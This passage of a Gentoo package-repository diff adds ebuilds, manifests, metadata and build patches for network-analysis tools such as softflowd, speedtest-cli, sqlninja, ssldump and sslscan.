+ ebegin "Starting softflowd on interface ${SOFTFLOWD_INTERFACE}"
+ iface_arg=${SOFTFLOWD_INTERFACE}
+ [ -n "${SOFTFLOWD_INTERFACE_IDX}" ] && iface_arg="${SOFTFLOWD_INTERFACE_IDX}:${iface_arg}"
+ start-stop-daemon --start \
+ --exec /usr/sbin/softflowd \
+ -- -i "${iface_arg}" \
+ -n "${SOFTFLOWD_COLLECTOR}" \
+ -p "${SOFTFLOWD_PIDFILE}" \
+ -c "${SOFTFLOWD_CTLFILE}" \
+ -t "${SOFTFLOWD_TIMEOUTS-maxlife=600}" \
+ -m "${SOFTFLOWD_MAXFLOWS-17000}" \
+ ${SOFTFLOWD_EXTRA}
+ eend $?
+}
+
+stop() {
+ softflowd_checkconfig || return 1
+
+ ebegin "Stopping softflowd on interface ${SOFTFLOWD_INTERFACE}"
+ # use softflowd's own way to shut it down
+ /usr/sbin/softflowctl -c ${SOFTFLOWD_CTLFILE} shutdown
+ eend $?
+}
diff --git a/net-analyzer/softflowd/metadata.xml b/net-analyzer/softflowd/metadata.xml
new file mode 100644
index 000000000000..bf548f3b7c78
--- /dev/null
+++ b/net-analyzer/softflowd/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<upstream>
+<remote-id type="google-code">softflowd</remote-id>
+</upstream>
+</pkgmetadata>
diff --git a/net-analyzer/softflowd/softflowd-0.9.9-r1.ebuild b/net-analyzer/softflowd/softflowd-0.9.9-r1.ebuild
new file mode 100644
index 000000000000..06446a44b830
--- /dev/null
+++ b/net-analyzer/softflowd/softflowd-0.9.9-r1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="flow-based network traffic analyser capable of Cisco NetFlow data export"
+HOMEPAGE="http://www.mindrot.org/projects/softflowd/"
+SRC_URI="http://softflowd.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-no-strip.patch
+ epatch "${FILESDIR}"/${P}-_GNU_SOURCE.patch
+ eautoreconf
+}
+
+src_install() {
+ default
+
+ docinto examples
+ dodoc collector.pl
+
+ newinitd "${FILESDIR}"/${PN}.initd ${PN}
+ newconfd "${FILESDIR}"/${PN}.confd ${PN}
+}
diff --git a/net-analyzer/speedtest-cli/Manifest b/net-analyzer/speedtest-cli/Manifest
new file mode 100644
index 000000000000..ef0b97c0120a
--- /dev/null
+++ b/net-analyzer/speedtest-cli/Manifest
@@ -0,0 +1,2 @@
+DIST speedtest-cli-0.2.4.tar.gz 10573 SHA256 be53386d0ea697aff192984a4f06bcf9b5c4e287b8ac13d68f5fb8d0fc5317f1 SHA512 d85ec7036ae183ef0906f4bf8ebec54ae2f27878a60165153602d7eff8b2b036aa343a91f94edc6777131c36fceed83901ee6a565ecb3ad6a46a2a96c158f352 WHIRLPOOL f0493907a51e1879f3d4df9a00dcb4ef181f0b2465d635d618075854ce6a0c61e4adb5adf95a4f5dff5dcdbacf982e4b578d53b087995b230b3898407aedd9e0
+DIST speedtest-cli-0.2.5.tar.gz 11786 SHA256 1fafa6d808823da17a6f4c75d802f13b42ad954d60f4cd18ba30d2bb1424e538 SHA512 d844fed185af9ace7fb6ec1b3ea33f4dcd841a47e0bc0e75577d5e40be57a4cbfeedc4180b5bf68649c8242ab5749c778c9941c056fe17d0cb9f6597d14c50ac WHIRLPOOL d179a7793a4a8e985e537e6bc5df9253fc16ccc68480d0c6231a016df4b71acdfb42cd23e0c6ebe0d35664d20d4aa2d4fb1b24baaa5afa85ac4b1b2e7c967e43
diff --git a/net-analyzer/speedtest-cli/metadata.xml b/net-analyzer/speedtest-cli/metadata.xml
new file mode 100644
index 000000000000..36dc4df50812
--- /dev/null
+++ b/net-analyzer/speedtest-cli/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>zx2c4@gentoo.org</email>
+ <name>Jason A. Donenfeld</name>
+ </maintainer>
+ <longdescription lang="en">
+Interfaces with speedtest.net's server from the command line.
+</longdescription>
+ <upstream>
+ <remote-id type="github">sivel/speedtest-cli</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild b/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild
new file mode 100644
index 000000000000..d823fd5597ad
--- /dev/null
+++ b/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild
@@ -0,0 +1,19 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python{2_7,3_3} )
+inherit distutils-r1
+
+DESCRIPTION="Command line interface for testing internet bandwidth using speedtest.net"
+HOMEPAGE="https://github.com/sivel/speedtest-cli"
+SRC_URI="https://github.com/sivel/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]"
diff --git a/net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild b/net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild
new file mode 100644
index 000000000000..fbbd2a78180c
--- /dev/null
+++ b/net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python{2_7,3_3,3_4} )
+
+inherit distutils-r1
+
+DESCRIPTION="Command line interface for testing internet bandwidth using speedtest.net"
+HOMEPAGE="https://github.com/sivel/speedtest-cli"
+SRC_URI="https://github.com/sivel/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="amd64 ~ppc ~ppc64 ~x86"
+IUSE=""
+
+DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]"
+
+DOCS=( CONTRIBUTING.md )
+
+python_install_all() {
+ doman ${PN}.1
+ distutils-r1_python_install_all
+}
diff --git a/net-analyzer/sqlninja/Manifest b/net-analyzer/sqlninja/Manifest
new file mode 100644
index 000000000000..b49139c5e608
--- /dev/null
+++ b/net-analyzer/sqlninja/Manifest
@@ -0,0 +1 @@
+DIST sqlninja-0.2.6-r1.tgz 454841 SHA256 7f8e9103d3fe58eb6e6f1476474589f7e5ca501703a82ae5299bd7a708342bc5 SHA512 18f6c8f0f1eca59d9ce6df80267f1f6bf45d151dfcd395b32d349119e1480389ba28f057778349b4276d480f60c41ca03578a1ca9c4e246f3fcb63653bc6ccf9 WHIRLPOOL 03b389d49e1854a16984db7272d391827488ca5004fa75e52e0a7b2708cfeeb1c6371c49ddf57dae332387f1ca0feca06d7b22547e1ed23ea2ba6627f9b8a9ac
diff --git a/net-analyzer/sqlninja/files/sqlninja b/net-analyzer/sqlninja/files/sqlninja
new file mode 100644
index 000000000000..bb0f9e18b747
--- /dev/null
+++ b/net-analyzer/sqlninja/files/sqlninja
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd /usr/lib/sqlninja/
+./sqlninja $@
diff --git a/net-analyzer/sqlninja/metadata.xml b/net-analyzer/sqlninja/metadata.xml
new file mode 100644
index 000000000000..0206b2411dee
--- /dev/null
+++ b/net-analyzer/sqlninja/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>pinkbyte@gentoo.org</email>
+ <name>Sergey Popov</name>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">sqlninja</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sqlninja/sqlninja-0.2.6_p1-r1.ebuild b/net-analyzer/sqlninja/sqlninja-0.2.6_p1-r1.ebuild
new file mode 100644
index 000000000000..8621bda711d6
--- /dev/null
+++ b/net-analyzer/sqlninja/sqlninja-0.2.6_p1-r1.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit versionator
+
+MY_PV="$(replace_version_separator 3 '-')"
+MY_PV="${MY_PV/p/r}"
+MY_P="${PN}-${MY_PV}"
+
+DESCRIPTION="A SQL Server injection & takeover tool"
+HOMEPAGE="http://sqlninja.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tgz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="doc"
+
+RDEPEND="
+ dev-lang/perl
+ dev-perl/IO-Socket-SSL
+ dev-perl/List-MoreUtils
+ dev-perl/Net-DNS
+ dev-perl/Net-Pcap
+ dev-perl/Net-RawIP
+ dev-perl/NetPacket
+"
+
+S="${WORKDIR}/${MY_P}"
+
+src_install () {
+ dodoc sqlninja-howto.html ChangeLog README
+
+ if use doc; then
+ dodoc -r sources
+ docompress -x /usr/share/doc/"${P}"/sources
+ fi
+
+ insinto /etc/"${PN}"
+ doins sqlninja.conf.example
+
+ rm -r sources sqlninja-howto.html ChangeLog README LICENSE || die
+ rm -r apps || die
+ rm sqlninja.conf.example || die
+
+ dodir /usr/lib/"${PN}"
+ insinto /usr/lib/"${PN}"
+ exeinto /usr/lib/"${PN}"
+ doins -r *
+
+ doexe sqlninja
+ dosbin "${FILESDIR}"/"${PN}"
+}
diff --git a/net-analyzer/squid-graph/Manifest b/net-analyzer/squid-graph/Manifest
new file mode 100644
index 000000000000..e558e98405d6
--- /dev/null
+++ b/net-analyzer/squid-graph/Manifest
@@ -0,0 +1 @@
+DIST squid-graph-3.2.tar.gz 20066 SHA256 f83a801e85f0adf74638b47306eca262f4a694d98fb89236ed133caff8dbdcfb SHA512 ab2529b0b67fb6549dd0837f2208ae712460ad19876baee8000a51c91ab31c464b83b360dfc93690ad6f4b3feb969cc95ca38a179ddefb6e0aa54b0cff866bfd WHIRLPOOL f33c65ce72ffbf6eff99f853dcaddd96e8171943706674fbb1ee04e6f9d0276163485edb7c6278b0b4e2bf6091b27d93441247712077d3791c3dfbc6b64c4410
diff --git a/net-analyzer/squid-graph/metadata.xml b/net-analyzer/squid-graph/metadata.xml
new file mode 100644
index 000000000000..0fad16e7dba1
--- /dev/null
+++ b/net-analyzer/squid-graph/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Squid logfile analyzer and traffic grapher</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">squid-graph</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/squid-graph/squid-graph-3.2-r1.ebuild b/net-analyzer/squid-graph/squid-graph-3.2-r1.ebuild
new file mode 100644
index 000000000000..a437993ca34a
--- /dev/null
+++ b/net-analyzer/squid-graph/squid-graph-3.2-r1.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="Squid logfile analyzer and traffic grapher"
+HOMEPAGE="http://squid-graph.sourceforge.net/"
+LICENSE="GPL-2"
+SRC_URI="mirror://sourceforge/squid-graph/${P}.tar.gz"
+
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+RDEPEND="dev-perl/GD[png]"
+
+S=${WORKDIR}/${PN}
+
+src_install () {
+ dobin apacheconv generate.cgi squid-graph timeconv
+ dodoc README
+}
diff --git a/net-analyzer/squidsites/Manifest b/net-analyzer/squidsites/Manifest
new file mode 100644
index 000000000000..d0111c0c82df
--- /dev/null
+++ b/net-analyzer/squidsites/Manifest
@@ -0,0 +1 @@
+DIST squidsites-1.01.tar.gz 23646 SHA256 5bf946a4ff3d4a695b695c28b7455071f08f1210f1bfee1bd340ee6211de75e0 SHA512 ecd6caf4ffbb531de1de85b2d8548e4256603909b1d1bc8c368516b644298803bc0cf3036a370ad679a763b94494bd755043df8a806dcca16990024c515cfed9 WHIRLPOOL b8bb650df49bed0d5037b006537bce14c2a6ee580a712af0745646ea9f32759a26a5351b9aef7404ec4ff7201d09e39d155d2e8c03582f826f39f6e48e427b8e
diff --git a/net-analyzer/squidsites/files/squidsites-1.01-format-security.patch b/net-analyzer/squidsites/files/squidsites-1.01-format-security.patch
new file mode 100644
index 000000000000..3dd72203c309
--- /dev/null
+++ b/net-analyzer/squidsites/files/squidsites-1.01-format-security.patch
@@ -0,0 +1,11 @@
+--- a/src/squidsites.c
++++ b/src/squidsites.c
+@@ -286,7 +286,7 @@
+ static
+ void print_help()
+ {
+- fprintf( stderr, help_message );
++ fprintf( stderr, "%s\n", help_message );
+ } /* print_help */
+
+
diff --git a/net-analyzer/squidsites/metadata.xml b/net-analyzer/squidsites/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/squidsites/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/squidsites/squidsites-1.01-r2.ebuild b/net-analyzer/squidsites/squidsites-1.01-r2.ebuild
new file mode 100644
index 000000000000..cc7141dd9466
--- /dev/null
+++ b/net-analyzer/squidsites/squidsites-1.01-r2.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A tool that parses Squid access log file and generates a report of the most visited sites"
+LICENSE="GPL-2"
+HOMEPAGE="http://www.stefanopassiglia.com/misc.htm"
+SRC_URI="http://www.stefanopassiglia.com/downloads/${P}.tar.gz"
+SLOT="1"
+KEYWORDS="amd64 ppc x86"
+
+S="${WORKDIR}/src"
+
+src_prepare() {
+ # Respect CFLAGS
+ sed -i Makefile \
+ -e '/^CCFLAGS=/s|-g| $(CFLAGS) $(LDFLAGS)|' \
+ || die
+ epatch "${FILESDIR}"/${P}-format-security.patch
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install () {
+ cd "${WORKDIR}" || die
+ dobin src/squidsites
+ dodoc Authors Bugs ChangeLog GNU-Manifesto.html README
+}
diff --git a/net-analyzer/squidview/Manifest b/net-analyzer/squidview/Manifest
new file mode 100644
index 000000000000..3850216551d5
--- /dev/null
+++ b/net-analyzer/squidview/Manifest
@@ -0,0 +1 @@
+DIST squidview-0.80.tar.gz 122502 SHA256 ce0a7ba0442483b75edf55a1e439181ac7ceb289833734666d9e7e7c31c0f205 SHA512 4a9bb0f296222ef5c8c127d4e0697ff050a2adcf8b28771379da32af816a2d43edbbd3f02920dc2c54735e7a22f50e6b9040067e2b77136506f472cfedff8894 WHIRLPOOL 76eac9e4cf3c970a5a4a47fd31f6338217f62ff5168ee75d16f2e5a0d2f5990923f7c3d9896af32b8fb0f08de5905f6d5ef903f1d43edbbfa7974daeec11072f
diff --git a/net-analyzer/squidview/metadata.xml b/net-analyzer/squidview/metadata.xml
new file mode 100644
index 000000000000..4538a68724a6
--- /dev/null
+++ b/net-analyzer/squidview/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer><email>maintainer-needed@gentoo.org</email></maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/squidview/squidview-0.80.ebuild b/net-analyzer/squidview/squidview-0.80.ebuild
new file mode 100644
index 000000000000..9459dce4e666
--- /dev/null
+++ b/net-analyzer/squidview/squidview-0.80.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+DESCRIPTION="Interactive console program to analyse squid logs"
+HOMEPAGE="http://www.rillion.net/squidview/"
+SRC_URI="http://www.rillion.net/squidview/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+KEYWORDS="~amd64"
+
+RDEPEND="sys-libs/ncurses"
+DEPEND="${RDEPEND}"
+
+src_install() {
+ emake DESTDIR="${D}" install
+
+ # BUGS and HOWTO are installed also as part of the Makefile, but the
+ # program expects them at the right location, so we can't get rid of
+ # them there for now.
+ dodoc README AUTHORS BUGS HOWTO
+}
diff --git a/net-analyzer/ssldump/Manifest b/net-analyzer/ssldump/Manifest
new file mode 100644
index 000000000000..84478cfaaf65
--- /dev/null
+++ b/net-analyzer/ssldump/Manifest
@@ -0,0 +1 @@
+DIST ssldump-0.9b3.tar.gz 137435 SHA256 6422c16718d27c270bbcfcc1272c4f9bd3c0799c351f1d6dd54fdc162afdab1e SHA512 ea81558a243950ab43354c9f33c0a4feae0ae859bc2bd6e6b58838a01f4a1e7a6447f2a9ab1fa40bbe8dbd6c3630c489c17fc9c066cacfddfb64269b0cd5090a WHIRLPOOL d9b1593a8d160b8c1eb88397fe6cfdbca7df8122ebac408e71e9cb77c60bd44c762f15ebebdfa53023cba73a3758629c5699e474aaf3e599e7341013ceb15d7a
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-DLT_LINUX_SLL.patch b/net-analyzer/ssldump/files/ssldump-0.9-DLT_LINUX_SLL.patch
new file mode 100644
index 000000000000..9a58c6369929
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-DLT_LINUX_SLL.patch
@@ -0,0 +1,13 @@
+--- a/base/pcap-snoop.c
++++ b/base/pcap-snoop.c
+@@ -157,6 +157,10 @@
+ return;
+
+ break;
++ case DLT_LINUX_SLL:
++ data+=16;
++ len-=16;
++ break;
+ }
+ network_process_packet(n,&hdr->ts,data,len);
+ }
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-configure-dylib.patch b/net-analyzer/ssldump/files/ssldump-0.9-configure-dylib.patch
new file mode 100644
index 000000000000..941350e8c789
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-configure-dylib.patch
@@ -0,0 +1,28 @@
+--- a/configure.in
++++ b/configure.in
+@@ -102,14 +102,13 @@
+ AC_MSG_CHECKING(for PCAP library)
+ ac_found_pcap_lib_dir="no"
+ for dir in $ac_pcap_lib_dir; do
+- if test -f $dir/libpcap.a; then
++ if test -f $dir/libpcap.so -o -f $dir/libpcap.dylib; then
+ dnl Ok, we think we've found them, but check that they
+- dnl actually ontain the right functions
++ dnl actually contain the right functions
+ save_LIBS=$LIBS
+- save_LDFLAGS=$LDFLAGS
+ LIBS="-lpcap $LIBS"
+ if test "$dir" != "/usr/lib"; then
+- LDFLAGS="-L$dir $LDFLAGS"
++ LIBS="-L$dir $LIBS"
+ fi
+ AC_TRY_LINK_FUNC(pcap_open_live,ac_linked_libpcap="true",
+ ac_linked_libpcap="false");
+@@ -118,7 +117,6 @@
+ break
+ fi
+ LIBS=$save_LIBS
+- LDFLAGS=$save_LDFLAGS
+ fi
+ done
+
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-declaration.patch b/net-analyzer/ssldump/files/ssldump-0.9-declaration.patch
new file mode 100644
index 000000000000..836b52c84ab2
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-declaration.patch
@@ -0,0 +1,11 @@
+--- a/ssl/ssl_rec.h
++++ b/ssl/ssl_rec.h
+@@ -54,6 +54,8 @@
+ SSL_CipherSuite *cs,UCHAR *mk,UCHAR *sk,UCHAR *iv));
+ int ssl_decode_rec_data PROTO_LIST((ssl_obj *ssl,ssl_rec_decoder *d,
+ int ct,int version,UCHAR *in,int inl,UCHAR *out,int *outl));
++int ssl3_check_mac(ssl_rec_decoder *d, int ct, int ver, UCHAR *data,
++ UINT4 datalen, UCHAR *mac);
+
+ #endif
+
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-includes.patch b/net-analyzer/ssldump/files/ssldump-0.9-includes.patch
new file mode 100644
index 000000000000..8ca06dcef449
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-includes.patch
@@ -0,0 +1,30 @@
+--- a/common/lib/r_assoc.c
++++ b/common/lib/r_assoc.c
+@@ -57,6 +57,7 @@
+ static char *RCSSTRING="$Id$";
+
+ #include <r_common.h>
++#include <string.h> /* memcpy() memcmp() */
+ #include "r_assoc.h"
+
+ typedef struct r_assoc_el_ {
+--- a/common/lib/r_bitfield.c
++++ b/common/lib/r_bitfield.c
+@@ -11,6 +11,7 @@
+ static char *RCSSTRING="$Id$";
+
+ #include <r_common.h>
++#include <string.h> /* memcpy() memset() */
+ #include "r_bitfield.h"
+
+ int r_bitfield_create(setp,size)
+--- a/common/lib/r_data.c
++++ b/common/lib/r_data.c
+@@ -47,6 +47,7 @@
+ static char *RCSSTRING="$Id$";
+
+ #include <r_common.h>
++#include <string.h> /* memcmp() memcpy() memset() */
+ #include <r_data.h>
+
+ int r_data_create(dp,d,l)
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-libpcap-header.patch b/net-analyzer/ssldump/files/ssldump-0.9-libpcap-header.patch
new file mode 100644
index 000000000000..a9a724658ccf
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-libpcap-header.patch
@@ -0,0 +1,10 @@
+--- a/base/pcap-snoop.c
++++ b/base/pcap-snoop.c
+@@ -49,7 +49,6 @@
+
+ #include <pcap.h>
+ #include <unistd.h>
+-#include <net/bpf.h>
+ #ifndef _WIN32
+ #include <sys/param.h>
+ #endif
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-openssl-0.9.8.compile-fix.patch b/net-analyzer/ssldump/files/ssldump-0.9-openssl-0.9.8.compile-fix.patch
new file mode 100644
index 000000000000..2ce16d54f168
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-openssl-0.9.8.compile-fix.patch
@@ -0,0 +1,18 @@
+--- a/ssl/ssldecode.c
++++ b/ssl/ssldecode.c
+@@ -51,6 +51,7 @@
+ #include <openssl/ssl.h>
+ #include <openssl/hmac.h>
+ #include <openssl/evp.h>
++#include <openssl/md5.h>
+ #include <openssl/x509v3.h>
+ #endif
+ #include "ssldecode.h"
+@@ -131,6 +132,7 @@
+ ssl_decode_ctx *d=0;
+ int r,_status;
+
++ SSL_library_init();
+ SSLeay_add_all_algorithms();
+ if(!(d=(ssl_decode_ctx *)malloc(sizeof(ssl_decode_ctx))))
+ ABORT(R_NO_MEMORY);
diff --git a/net-analyzer/ssldump/files/ssldump-0.9-prefix-fix.patch b/net-analyzer/ssldump/files/ssldump-0.9-prefix-fix.patch
new file mode 100644
index 000000000000..74d7ddcd6f68
--- /dev/null
+++ b/net-analyzer/ssldump/files/ssldump-0.9-prefix-fix.patch
@@ -0,0 +1,22 @@
+eliminates unused variable ROOT, which disturbs ld from Prefix. Bug #414335
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -46,13 +46,12 @@ BINDIR=@sbindir@
+ MANDIR=@mandir@
+ RM=rm -f
+
+-ROOT=./
+-ANALYZE_SRCDIR=$(ROOT)base/
++ANALYZE_SRCDIR=base/
+ COMMONDIR=common/
+ COMMON_LIB_SRCDIR=$(COMMONDIR)lib/
+-ANALYZE_NULL_SRCDIR=$(ROOT)null/
+-ANALYZE_SSL_SRCDIR=$(ROOT)ssl/
+-ANALYZE_RECORD_SRCDIR=$(ROOT)@RECORD_MOD@/
++ANALYZE_NULL_SRCDIR=null/
++ANALYZE_SSL_SRCDIR=ssl/
++ANALYZE_RECORD_SRCDIR=@RECORD_MOD@/
+ include rules.mk
+
+ include $(COMMON_LIB_SRCDIR)/targets.mk
diff --git a/net-analyzer/ssldump/metadata.xml b/net-analyzer/ssldump/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ssldump/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ssldump/ssldump-0.9-r2.ebuild b/net-analyzer/ssldump/ssldump-0.9-r2.ebuild
new file mode 100644
index 000000000000..fb82381953d3
--- /dev/null
+++ b/net-analyzer/ssldump/ssldump-0.9-r2.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_IN_SOURCE_BUILD=1
+AUTOTOOLS_AUTORECONF=1
+inherit autotools-utils eutils toolchain-funcs
+
+MY_P="${PN}-0.9b3"
+
+DESCRIPTION="An SSLv3/TLS network protocol analyzer"
+HOMEPAGE="http://www.rtfm.com/ssldump/"
+SRC_URI="${HOMEPAGE}${MY_P}.tar.gz"
+
+LICENSE="openssl"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc sparc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+IUSE="ssl"
+
+RDEPEND="net-libs/libpcap
+ ssl? ( >=dev-libs/openssl-1 )"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-libpcap-header.patch \
+ "${FILESDIR}"/${P}-configure-dylib.patch \
+ "${FILESDIR}"/${P}-openssl-0.9.8.compile-fix.patch \
+ "${FILESDIR}"/${P}-DLT_LINUX_SLL.patch \
+ "${FILESDIR}"/${P}-prefix-fix.patch \
+ "${FILESDIR}"/${P}-declaration.patch \
+ "${FILESDIR}"/${P}-includes.patch
+
+ autotools-utils_src_prepare
+}
+
+src_configure() {
+ local myeconfargs=(
+ --with-pcap-inc="${EPREFIX}/usr/include"
+ --with-pcap-lib="${EPREFIX}/usr/$(get_libdir)"
+ )
+
+ if use ssl; then
+ myeconfargs+=(
+ --with-openssl-inc="${EPREFIX}/usr/include"
+ --with-openssl-lib="${EPREFIX}/usr/$(get_libdir)"
+ )
+ else
+ myeconfargs+=( "--without-openssl" )
+ fi
+
+ tc-export CC
+
+ autotools-utils_src_configure
+}
+
+src_install() {
+ dosbin ssldump
+ doman ssldump.1
+ dodoc ChangeLog CREDITS README
+}
diff --git a/net-analyzer/sslscan/Manifest b/net-analyzer/sslscan/Manifest
new file mode 100644
index 000000000000..ad4967773a42
--- /dev/null
+++ b/net-analyzer/sslscan/Manifest
@@ -0,0 +1 @@
+DIST sslscan-1.8.2.tgz 22176 SHA256 3b728804456042d96d5c8ccd42326f8e5719d091986793bb7b852a36b50d2b3e SHA512 89dfa5426cf9c5631fcf379931eabf020d4b084feb88bbd61e81a4b927ad19275b8613adb06a39eb4d9ce2992f4460383935f5903cfa8f0f1a2e72f8a86ec8a3 WHIRLPOOL 127bfa9e9d95475846569d5dc44f4891a34e0b697dcbf733f61d5c58ed36f54e89e5898acece832c8269b05b5869f751753f58aaf3f7bd8f4fd3e95e93211183
diff --git a/net-analyzer/sslscan/files/sslscan-1.8.2-makefile.patch b/net-analyzer/sslscan/files/sslscan-1.8.2-makefile.patch
new file mode 100644
index 000000000000..c4ceb6ae7e64
--- /dev/null
+++ b/net-analyzer/sslscan/files/sslscan-1.8.2-makefile.patch
@@ -0,0 +1,11 @@
+--- Makefile.~1~ 2009-09-01 14:35:59.000000000 +0200
++++ Makefile 2012-08-06 08:00:40.550143945 +0200
+@@ -3,7 +3,7 @@
+ MANPATH = /usr/share/man/
+
+ all:
+- gcc -g -Wall -lssl -o sslscan $(SRCS) $(LDFLAGS) $(CFLAGS)
++ $(CC) -Wall $(LDFLAGS) $(CFLAGS) -o sslscan $(SRCS) -lssl -lcrypto
+
+ install:
+ cp sslscan $(BINPATH)
diff --git a/net-analyzer/sslscan/metadata.xml b/net-analyzer/sslscan/metadata.xml
new file mode 100644
index 000000000000..141f7b271a9c
--- /dev/null
+++ b/net-analyzer/sslscan/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>graaff@gentoo.org</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">sslscan</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sslscan/sslscan-1.8.2.ebuild b/net-analyzer/sslscan/sslscan-1.8.2.ebuild
new file mode 100644
index 000000000000..097792fef128
--- /dev/null
+++ b/net-analyzer/sslscan/sslscan-1.8.2.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
